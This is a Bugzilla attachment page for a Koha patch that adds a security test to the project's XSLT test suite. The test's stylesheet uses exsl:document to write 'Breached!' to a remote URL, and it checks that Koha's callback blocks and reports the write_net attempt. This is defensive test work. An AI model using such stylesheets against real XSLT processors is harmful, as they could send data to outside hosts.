Bugzilla – Attachment 95551 Details for
Bug 23290
XSLT system preferences allow administrators to exploit XML and XSLT vulnerabilities
Home
|
New
|
Browse
|
Search
|
[?]
|
Reports
|
Help
|
New Account
|
Log In
[x]
|
Forgot Password
Login:
[x]
[patch]
Bug 23290: Add test for write_net
Bug-23290-Add-test-for-writenet.patch (text/plain), 1.87 KB, created by
Marcel de Rooy
on 2019-11-19 13:59:27 UTC
(
hide
)
Description:
Bug 23290: Add test for write_net
Filename:
MIME Type:
Creator:
Marcel de Rooy
Created:
2019-11-19 13:59:27 UTC
Size:
1.87 KB
patch
obsolete
>From abe51103ffbc973f0b6d7ac6ca534899f0cc3885 Mon Sep 17 00:00:00 2001 >From: David Cook <dcook@prosentient.com.au> >Date: Tue, 19 Nov 2019 13:56:30 +0000 >Subject: [PATCH] Bug 23290: Add test for write_net >Content-Type: text/plain; charset=utf-8 > >Test plan: >Run t/db_dependent/Koha/XSLT/Security.t > >Signed-off-by: Marcel de Rooy <m.de.rooy@rijksmuseum.nl> >--- > t/db_dependent/Koha/XSLT/Security.t | 18 +++++++++++++++++- > 1 file changed, 17 insertions(+), 1 deletion(-) > >diff --git a/t/db_dependent/Koha/XSLT/Security.t b/t/db_dependent/Koha/XSLT/Security.t >index a934481feb..9c82b85896 100644 >--- a/t/db_dependent/Koha/XSLT/Security.t >+++ b/t/db_dependent/Koha/XSLT/Security.t >@@ -19,7 +19,7 @@ > > use Modern::Perl; > use File::Temp qw/tempfile/; >-use Test::More tests => 6; >+use Test::More tests => 7; > use Test::Warn; > > use Koha::XSLT::Base; >@@ -92,6 +92,22 @@ warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); } > qr/read_net called in XML::LibXSLT/, > 'Triggered security callback for read_net'; > >+# Trigger write_net >+$xslt=<<"EOT"; >+<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl"> >+ <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/> >+ <xsl:template match="/"> >+ <exsl:document href="http://hacking.koha-community.org/breached.txt" omit-xml-declaration="yes" method="html"> >+ <xsl:text>Breached!</xsl:text> >+</exsl:document> >+ </xsl:template> >+</xsl:stylesheet> >+EOT >+$xslt_file = mytempfile($xslt); >+warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); } >+ qr/write_net called in XML::LibXSLT/, >+ 'Triggered security callback for write_net'; >+ > # Check remote import (include should be similar) > # Trusting koha-community.org DNS here ;) > # This should not trigger read_net but fail on the missing import. >-- >2.11.0
You cannot view the attachment while viewing its details because your browser does not support IFRAMEs.
View the attachment on a separate page
.
View Attachment As Diff
View Attachment As Raw
Actions:
View
|
Diff
|
Splinter Review
Attachments on
bug 23290
:
91435
|
91437
|
95450
|
95451
|
95452
|
95453
|
95454
|
95475
|
95478
|
95480
|
95481
|
95482
|
95483
|
95484
|
95485
|
95551
|
96299
|
96300
|
96301
|
96302
|
96303
|
96304
|
97606
|
97607
|
97608
|
97609
|
97610
|
97611
|
97612
|
97613
|
97614
|
97615
|
97616
|
97617
|
97618
|
97619
|
97620
|
97871
|
97978
|
97980
|
98397
|
98398
|
98399
|
98400
|
98401
|
98402
|
98403
|
98404
|
98405
|
98406
|
99587